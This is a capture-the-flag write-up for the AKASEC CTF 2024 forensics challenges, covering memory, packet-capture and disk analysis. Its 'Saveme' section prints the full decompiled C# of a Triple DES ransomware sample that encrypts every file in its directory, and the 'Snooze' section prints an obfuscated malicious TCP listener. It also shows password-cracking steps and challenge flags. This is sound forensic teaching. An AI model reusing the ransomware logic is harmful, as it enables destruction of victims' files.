# AKASEC CTF 2024 ## Forensics ### Portugal ![image](https://hackmd.io/_uploads/B1XRN74S0.png) In this chall, I have a memdump file. Reading the description, I immediately thought of dumping browser history. Using volatility with the pslist plugin, I saw that the author's machine was using Chrome. ``` tmqrx@TMQ:~/volatility3$ python3 vol.py -f memdump1.mem windows.pslist ``` ![image](https://hackmd.io/_uploads/Hk74UQErA.png) We also have the PID of Chrome, now use the memmap plugin to dump the Chrome process. ``` tmqrx@TMQ:~/volatility3$ python3 vol.py -f memdump.mem windows.memmap --dump --pid 1240 ``` Then use strings to convert it to txt, this makes it easier for us to search. ``` strings -a pid.1240.dmp > url.txt ``` Because we need to find web history, and it usually starts over HTTPS, I use a powershell script to filter. ``` Select-String -Path .\url.txt -Pattern "https?:\/\/(www\.)?[-a-zA-Z0–9@:%._\+~#=]{1,256}\.[a-zA-Z0–9()]{1,6}\b([-a-zA-Z0–9()@:%_\+.~#?&//=]*)" ``` Now just search, grep and we will see urls containing the characters of the flag. Combining them together will give us full flags. ![image](https://hackmd.io/_uploads/S1SIqXVH0.png) > FLAG : AKASEC{V0L4T1L1TY_f0r_chr0m3_s34rch_h1st0ry} ### Sussy ![image](https://hackmd.io/_uploads/SJxWjX4rC.png) We have a pcapng file, use wireshark to start the analysis process. Using Protocol Hierarchy, I see there are many protocols in use. However, when analyzing the DNS protocol, I found many strange queries ![image](https://hackmd.io/_uploads/Hk8QnQNBA.png) ![image](https://hackmd.io/_uploads/HyrS3XNS0.png) It seems the attacker is using DNS Exif technique. I will use tshark to filter all data queries. ![image](https://hackmd.io/_uploads/H18n2XNr0.png) Immediately recognize the header of the 7z file, edit it a bit and paste it into cyberchef to get the entire zip file. ![image](https://hackmd.io/_uploads/ByX7pXESA.png) After downloading the 7z file, we need a password to decompress. Here I use 7z2john to crack. After compression, we get a pdf file. We also need a password to be able to view the content. We use pdf2john to continue cracking and get the password. After that, u will see the flag inside. I'm quite lazy so do these steps by yourself lmao xd. > FLAG: AKASEC{PC4P_DNS_3xf1ltr4t10n_D0n3!!} ### Saveme ![image](https://hackmd.io/_uploads/HJiI0XVHR.png) Here we have a word file with the extension .docm, in addition to some encrypted image files. I guess the word file is ransomware because I have encountered many chall like this. Use olevba to check, there are no macros in this file. ![image](https://hackmd.io/_uploads/H1xUgNEH0.png) My guess is that without the macro, it might embed malicious urls somewhere in the xml files inside the word file. But after checking, it seemed like there was nothing inside. Open the word file, as usual I ctrl + A to see if anything is hidden and then realize there is a strange hex string. ![image](https://hackmd.io/_uploads/BJEyWN4rA.png) Delete all the disturbing hex characters, then paste it into cyberchef, we see a pe file. ![image](https://hackmd.io/_uploads/ry-DlrNr0.png) Download the PE file, throw it on virustotal to check. I see that it is a file download string to download another PE file named ransomware.exe. ![image](https://hackmd.io/_uploads/H1zuzrEBC.png) Since this url is still active, I will download it into my machine to conduct analysis. Used DIE to check, I know it uses .NET with C#. You can use dnSpy to reverse this PE file. This is the main function of the PE file, it uses the Triple DES algorithm to encrypt the file with the key. ![image](https://hackmd.io/_uploads/SJUtrBNHR.png) ```python // Decompiled with JetBrains decompiler // Type: b // Assembly: ransomware, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 81F24F4C-AD49-415D-95E1-CE0D740B8FA4 // Assembly location: C:\Users\tamin\Downloads\ransomware.exe using System; using System.IO; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; #nullable disable internal class b { private static void a([In] string[] obj0) { string str1 = "Lp3jXluuW799rnu4"; byte[] numArray1 = new byte[8] { (byte) 0, (byte) 1, (byte) 2, (byte) 3, (byte) 4, (byte) 5, (byte) 6, (byte) 7 }; \u003CModule\u003E.h = 2081625616; byte[] numArray2 = numArray1; string currentDirectory = Directory.GetCurrentDirectory(); \u003CModule\u003E.k = -1592258590; \u003CModule\u003E.a = (object) null; \u003CModule\u003E.n = -1592516334; \u003CModule\u003E.l = -1437277352; \u003CModule\u003E.d = (object) 1386028750; string[] files = Directory.GetFiles(currentDirectory, "*.*"); \u003CModule\u003E.n = 2136656571; string[] strArray1 = files; \u003CModule\u003E.d = (object) null; string[] strArray2 = strArray1; int index = 0; bool flag1; \u003CModule\u003E.g = (object) flag1; string str2; bool flag2; while (true) { \u003CModule\u003E.k = 1326660401; \u003CModule\u003E.e = (object) 1818084011; int num1 = index; string[] strArray3 = strArray2; \u003CModule\u003E.j = -1529522494; int length = strArray3.Length; int num2 = num1 < length ? 1 : 0; \u003CModule\u003E.o = 1526447315; \u003CModule\u003E.j = 1987339265; flag2 = num2 != 0; int num3 = flag2 ? 1 : 0; \u003CModule\u003E.a = (object) null; if (num3 != 0) { \u003CModule\u003E.j = 1845842485; TripleDESCryptoServiceProvider cryptoServiceProvider1; \u003CModule\u003E.c = (object) cryptoServiceProvider1; str2 = strArray2[index]; Exception exception1; try { \u003CModule\u003E.q = -759738571; \u003CModule\u003E.b = (object) null; \u003CModule\u003E.q = 1898371779; string path1 = str2; global::a.b = (object) flag2; byte[] numArray3 = File.ReadAllBytes(path1); \u003CModule\u003E.g = (object) null; global::a.b = (object) "185ee01d-8c67-459c-9586-6804417e592ce434881f-7f35-4ffd-bdf6-4a1f244e25084e41b92d-afec-"; \u003CModule\u003E.d = (object) null; byte[] numArray4 = numArray3; \u003CModule\u003E.h = 1308380089; cryptoServiceProvider1 = new TripleDESCryptoServiceProvider(); TripleDESCryptoServiceProvider cryptoServiceProvider2 = cryptoServiceProvider1; Encoding ascii = Encoding.ASCII; string s = str1; \u003CModule\u003E.k = 401140706; byte[] bytes1 = ascii.GetBytes(s); cryptoServiceProvider2.Key = bytes1; \u003CModule\u003E.o = 1203310366; TripleDESCryptoServiceProvider cryptoServiceProvider3 = cryptoServiceProvider1; byte[] numArray5 = numArray2; c.b = (object) str1; cryptoServiceProvider3.IV = numArray5; byte[] numArray6 = global::b.b(numArray4, cryptoServiceProvider1); string path2 = str2; byte[] bytes2 = numArray6; \u003CModule\u003E.n = -1749758540; File.WriteAllBytes(path2, bytes2); global::a.b = (object) "102abfb4-ec8b-4922-9b54-2f17b2c5b52d6d"; string str3 = str2; \u003CModule\u003E.a = (object) exception1; Console.WriteLine("Encrypted: " + str3); c.b = (object) 1876936332; } catch (Exception ex) { \u003CModule\u003E.m = -1040838703; exception1 = ex; Exception exception2 = exception1; global::a.b = (object) cryptoServiceProvider1; string str4 = "Error: " + exception2.Message; \u003CModule\u003E.o = 1057425350; \u003CModule\u003E.d = (object) null; Console.WriteLine(str4); global::a.b = (object) "dd91927e-4e7c-4176-b90a-bb4a9049b638480c140d-829f-4"; \u003CModule\u003E.e = (object) 1957620381; \u003CModule\u003E.a = (object) null; \u003CModule\u003E.m = -1748580011; \u003CModule\u003E.m = -1932913121; \u003CModule\u003E.q = 2097519326; } \u003CModule\u003E.c = (object) str2; \u003CModule\u003E.k = 480802764; \u003CModule\u003E.a = (object) flag2; c.b = (object) null; \u003CModule\u003E.h = index; \u003CModule\u003E.g = (object) str1; int num4 = index; \u003CModule\u003E.k = 2071185029; int num5 = num4 + 1; c.a = (object) cryptoServiceProvider1; \u003CModule\u003E.g = (object) null; // ISSUE: variable of a boxed type __Boxed<int> local = (ValueType) 1952428595; \u003CModule\u003E.q = 1809257038; c.b = (object) local; index = num5; } else break; } Console.ReadLine(); \u003CModule\u003E.j = index; int num = flag2 ? 1 : 0; \u003CModule\u003E.o = 721847420; \u003CModule\u003E.l = 796469985; \u003CModule\u003E.q = -1051365525; \u003CModule\u003E.n = index; \u003CModule\u003E.f = (object) (bool) num; c.a = (object) str2; } private static byte[] b([In] byte[] obj0, [In] TripleDESCryptoServiceProvider obj1) { MemoryStream memoryStream = new MemoryStream(); CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, obj1.CreateEncryptor(), CryptoStreamMode.Write); cryptoStream.Write(obj0, 0, obj0.Length); cryptoStream.FlushFinalBlock(); byte[] array = memoryStream.ToArray(); memoryStream.Close(); cryptoStream.Close(); return array; } } ``` Based on the encrypt function, I have rewritten a descrypt function in C#. ```python using System; using System.IO; using System.Security.Cryptography; using System.Text; class Program { public static void DecryptFile(string filePath, string keyString, byte[] iv) { byte[] key = Encoding.ASCII.GetBytes(keyString); byte[] encryptedContent = File.ReadAllBytes(filePath); using (TripleDESCryptoServiceProvider tdes = new TripleDESCryptoServiceProvider()) { tdes.Key = key; tdes.IV = iv; ICryptoTransform decryptor = tdes.CreateDecryptor(tdes.Key, tdes.IV); using (MemoryStream ms = new MemoryStream(encryptedContent)) { using (CryptoStream cs = new CryptoStream(ms, decryptor, CryptoStreamMode.Read)) { using (MemoryStream decryptedStream = new MemoryStream()) { cs.CopyTo(decryptedStream); byte[] decryptedContent = decryptedStream.ToArray(); File.WriteAllBytes(filePath, decryptedContent); } } } } Console.WriteLine($"Decrypted: {filePath}"); } public static void Main(string[] args) { string keyString = "Lp3jXluuW799rnu4"; byte[] iv = new byte[8] { 0, 1, 2, 3, 4, 5, 6, 7 }; string filePath = "D:\\encrypted\\images (144).png"; DecryptFile(filePath, keyString, iv); } } ``` After decrypting each image, in images (144).png we have a flag. ![image](https://hackmd.io/_uploads/B1IvdHVBA.png) > FLAG: AKASEC{F-MiCRoSft_777} ### Sharing Is Not Caring 👃 ![image](https://hackmd.io/_uploads/S1JsOrVSC.png) In this chall, we have a disk image file along with a pcapng file. Mounting the disk image file with FTK Imager, we see there are many user profiles as described by chall. ![image](https://hackmd.io/_uploads/S1ILYBNHA.png) After checking each profile in turn, I found that one profile was quite suspicious. There is a small note implying that this user downloaded a FREE RAM.exe software from a url 000webhost. Quite obviously a malicious url. ![image](https://hackmd.io/_uploads/By5_KBESA.png) Track the url and download the malicious file, use DIE to check, it uses .NET with C# language. Continue using dnSpy to read the source code. After reading the source code for a while, I was quite confused, so I decided to do dynamic analysis. After executing the pe file in vmware, I saw a rather suspicious popup. ![image](https://hackmd.io/_uploads/H1StiBNr0.png) Based on my experience, I know that it is trying to decrypt network traffic based on the sslkey.log file. I also found this file at INTERNET EXPLOERE/SIGNUP/ink. Switch to the pcapng file, add sslkey.log to the tls protocol to decrypt the traffic. Followed the tcp protocol and I saw the FLAG. ![image](https://hackmd.io/_uploads/BJsYhBVrR.png) > FLAG: AKASEC{B4s1c_M4lw4r3_4nd_PC4P_4n4lys1s} ### Snooze ![image](https://hackmd.io/_uploads/SyvG6BErA.png) Analyzing the pcapng file first, in the http request, we see that there is an http request containing a file named download.dat. I exported the object to check. ![image](https://hackmd.io/_uploads/HJQnyLNSA.png) Copying the base64 string to cyberchef, I found that it is a suspected malicous PE file ![image](https://hackmd.io/_uploads/rkAVlIVS0.png) Save it to my machine, using DIE I know it is a .NET C# file. Use dnspy unpack to start reading the source code. ```python // Decompiled with JetBrains decompiler // Type: a // Assembly: snooz, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 5E97E3D5-2139-4CF2-BD79-500B6A4DB0E0 // Assembly location: C:\Users\tamin\Downloads\download (2).exe using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; #nullable disable internal class a { private const int a = 1337; private const string b = "fr33___p4l3571n3"; private static void a() { TcpListener tcpListener1 = new TcpListener(IPAddress.Any, 1337); \u003CModule\u003E.l = -1592258590; TcpListener tcpListener2 = tcpListener1; // ISSUE: variable of a boxed type __Boxed<int> local = (ValueType) 1386028750; \u003CModule\u003E.o = 2136656571; \u003CModule\u003E.e = (object) local; \u003CModule\u003E.a = (object) null; tcpListener2.Start(); bool flag1; \u003CModule\u003E.h = (object) flag1; while (true) { bool flag2 = true; \u003CModule\u003E.k = 1987339265; \u003CModule\u003E.a = (object) null; \u003CModule\u003E.g = (object) flag2; int length1; \u003CModule\u003E.p = length1; \u003CModule\u003E.r = -1051365525; NetworkStream stream; global::b.a = (object) stream; TcpClient tcpClient = tcpListener1.AcceptTcpClient(); \u003CModule\u003E.i = 1057425350; stream = tcpClient.GetStream(); byte[] numArray1 = new byte[1024]; \u003CModule\u003E.e = (object) null; byte[] numArray2 = numArray1; \u003CModule\u003E.i = -1411494653; NetworkStream networkStream = stream; byte[] buffer = numArray2; \u003CModule\u003E.k = 1657774894; \u003CModule\u003E.q = 744302617; int length2 = numArray2.Length; length1 = networkStream.Read(buffer, 0, length2); byte[] numArray3 = new byte[length1]; byte[] sourceArray = numArray2; byte[] destinationArray = numArray3; int n; int num1; int num2; if ((4062 & (length1 << 11) - 5420) != 0) { int num3 = 4 & (length1 + length1 * 15 ^ 1587); n = \u003CModule\u003E.n; int num4 = 4 & n << 8 >>> 5; num2 = num3 != num4 ? -2076188109 ^ 422676110 : sizeof (long) + 17256; } else { num1 = checked (2069871130 - 132655268); num2 = num1; } int num5 = sizeof (Guid) + 18172; int num6 = sizeof (float) + 107; \u003CModule\u003E.d = (object) \u003CModule\u003E.c(num2, num5, num6); int length3 = length1; Array.Copy((Array) sourceArray, 0, (Array) destinationArray, 0, length3); \u003CModule\u003E.n = -1040838703; \u003CModule\u003E.d = (object) length1; byte[] numArray4 = numArray3; int num7 = (7364 + (num1 << 29) >>> 29 & 2) == (~num1 - 2958 & 2) ? (((n * -1073741824 >>> 10 ^ n * 57 + 7 * n) & 57) == 0 ? Type.EmptyTypes.Length + 45957 : Type.EmptyTypes.Length + 695708289) : -1673074294 ^ 37606627; int num8 = checked (1218888041 - 1218841169); int num9; if ((uint) length1 / 16039U != 2449857621U) { int q = \u003CModule\u003E.q; num9 = 5009 + (q << 20) + 483840 == ~(q * 1073741824) >>> 17 ? Type.EmptyTypes.Length - 1963321438 : Type.EmptyTypes.Length + 182; } else { int o = \u003CModule\u003E.o; num9 = o * 12966 - -131 != (int) ((uint) o % 256U / 1972U >> 23) ? Type.EmptyTypes.Length - 884098835 : Type.EmptyTypes.Length + 1457581078; } string str1 = \u003CModule\u003E.c(num7, num8, num9); byte[] numArray5 = global::a.b(numArray4, str1); \u003CModule\u003E.e = (object) null; Encoding utF8 = Encoding.UTF8; byte[] bytes = global::a.c(numArray5); \u003CModule\u003E.r = 2097519326; \u003CModule\u003E.d = (object) \u003CModule\u003E.c(44666, sizeof (int) + 45636, Type.EmptyTypes.Length + 219); string str2 = utF8.GetString(bytes); string str3 = \u003CModule\u003E.c(sizeof (double) + 21715, 22728, sizeof (Guid) + 95); \u003CModule\u003E.i = 1503776956; string str4 = str2; Console.WriteLine(str3 + str4); global::b.b = (object) 1952428595; tcpClient.Close(); \u003CModule\u003E.k = -1529522494; } } private static byte[] b([In] byte[] obj0, [In] string obj1) { Aes aes1 = Aes.Create(); ICryptoTransform cryptoTransform1; byte[] numArray1; bool flag1; try { \u003CModule\u003E.i = 2081625616; Aes aes2 = aes1; Encoding utF8 = Encoding.UTF8; string s = obj1; \u003CModule\u003E.m = -1437277352; \u003CModule\u003E.r = -1871252905; byte[] bytes = utF8.GetBytes(s); aes2.Key = bytes; Aes aes3 = aes1; \u003CModule\u003E.q = -1852116043; \u003CModule\u003E.e = (object) null; aes3.Mode = CipherMode.ECB; \u003CModule\u003E.l = -1410905245; ICryptoTransform cryptoTransform2; ICryptoTransform cryptoTransform3 = cryptoTransform2; \u003CModule\u003E.k = 1845842485; \u003CModule\u003E.c = (object) cryptoTransform3; Aes aes4 = aes1; \u003CModule\u003E.b = (object) null; \u003CModule\u003E.h = (object) null; string str = \u003CModule\u003E.c(Type.EmptyTypes.Length + 8801, sizeof (uint) + 9765, sizeof (float) + 89); bool flag2; \u003CModule\u003E.d = (object) flag2; \u003CModule\u003E.d = (object) str; aes4.Padding = PaddingMode.None; \u003CModule\u003E.i = 1308380089; ICryptoTransform decryptor = aes1.CreateDecryptor(); \u003CModule\u003E.m = -1557401652; cryptoTransform1 = decryptor; try { \u003CModule\u003E.p = 1203310366; ICryptoTransform cryptoTransform4 = cryptoTransform1; byte[] inputBuffer = obj0; byte[] numArray2 = obj0; Aes aes5 = aes1; \u003CModule\u003E.o = -2051646939; global::b.b = (object) aes5; int length = numArray2.Length; numArray1 = cryptoTransform4.TransformFinalBlock(inputBuffer, 0, length); } finally { ICryptoTransform cryptoTransform5 = cryptoTransform1; \u003CModule\u003E.a = (object) numArray1; global::b.b = (object) 1876936332; flag1 = cryptoTransform5 == null; if (!flag1) cryptoTransform1.Dispose(); \u003CModule\u003E.o = -1978466511; } } finally { ICryptoTransform cryptoTransform6 = cryptoTransform1; \u003CModule\u003E.n = -1932913121; \u003CModule\u003E.a = (object) null; \u003CModule\u003E.f = (object) 1957620381; \u003CModule\u003E.c = (object) cryptoTransform6; \u003CModule\u003E.q = -1950879357; Aes aes6 = aes1; Aes aes7 = aes1; \u003CModule\u003E.a = (object) flag1; \u003CModule\u003E.h = (object) aes7; global::b.b = (object) null; \u003CModule\u003E.r = 1809257038; \u003CModule\u003E.h = (object) null; global::b.a = (object) cryptoTransform1; \u003CModule\u003E.i = -563903361; bool flag3 = aes6 == null; \u003CModule\u003E.f = (object) 1818084011; if (!flag3) aes1.Dispose(); } \u003CModule\u003E.m = 796469985; \u003CModule\u003E.o = -1980982856; return numArray1; } private static byte[] c([In] byte[] obj0) { int num = (int) obj0[obj0.Length - 1]; byte[] destinationArray = new byte[obj0.Length - num]; Array.Copy((Array) obj0, (Array) destinationArray, destinationArray.Length); return destinationArray; } } ``` We can see it uses AES mode ECB to encrypt and decrypt data. Input data is taken from the TCP connection of port 1337. ![image](https://hackmd.io/_uploads/SJRCPINHA.png) ``` Filter command: tcp.port==1337 ``` Along with the key in the encrypt function. I quickly wrote a decrypt function in C# to extract data from TCP port 1337 that I filtered. ``` using System; using System.IO; using System.Security.Cryptography; using System.Text; class Program { private const string Key = "fr33___p4l3571n3"; public static void Main(string[] args) { string inputFilePath = "D:\\enc.txt"; byte[] encryptedData = File.ReadAllBytes(inputFilePath); byte[] decryptedData = Decrypt(encryptedData, Key); string decryptedText = Encoding.UTF8.GetString(decryptedData); Console.WriteLine("Decrypted Text: " + decryptedText); } public static byte[] Decrypt(byte[] data, string key) { using (Aes aes = Aes.Create()) { aes.Key = Encoding.UTF8.GetBytes(key); aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.None; using (ICryptoTransform decryptor = aes.CreateDecryptor()) { byte[] result = decryptor.TransformFinalBlock(data, 0, data.Length); return RemovePadding(result); } } } private static byte[] RemovePadding(byte[] data) { int paddingLength = data[data.Length - 1]; byte[] result = new byte[data.Length - paddingLength]; Array.Copy(data, result, result.Length); return result; } } ``` But it seems that the deletion padding is corrupted so it cannot be decrypted using the decrypt function in the source code. So I used Cyberchef to decrypt. ![image](https://hackmd.io/_uploads/rkRNhuEH0.png) After decrypting, we have a note like this. Looks like we have the password for pastecode.io. Now just need to find the link to that pastecode page. I continued dumping browser history and found the pastecode url. ![image](https://hackmd.io/_uploads/BkxsnuNBR.png) We can see the header byte of the zip. Go to cyberchef and save the file. ![image](https://hackmd.io/_uploads/H1dRnOVrR.png) But we need the decompression password. This was a difficult step and took me a long time. I was given a small hint by the author and I understood that I needed to carefully check the processes and discover the notepad process. I dump the notepad process and check it with strings, I found the password here. ![image](https://hackmd.io/_uploads/SJsCCuVBR.png) ``` Password: Samaqlo@Akasex777``` Extract then I get a photo. Looks like it needs stego. ![image](https://hackmd.io/_uploads/BJoMkYNr0.png) Based on experience, when strings a picture, if you see this string, you can definitely stegseek. ![image](https://hackmd.io/_uploads/S1yByFEH0.png) Let crack it and after that I found the flag. ![image](https://hackmd.io/_uploads/rkft1Y4SA.png) > FLAG: AKASEC{05-10-2023_free_palestine} ### Inception #### Just boring chall with grep skill issues lmao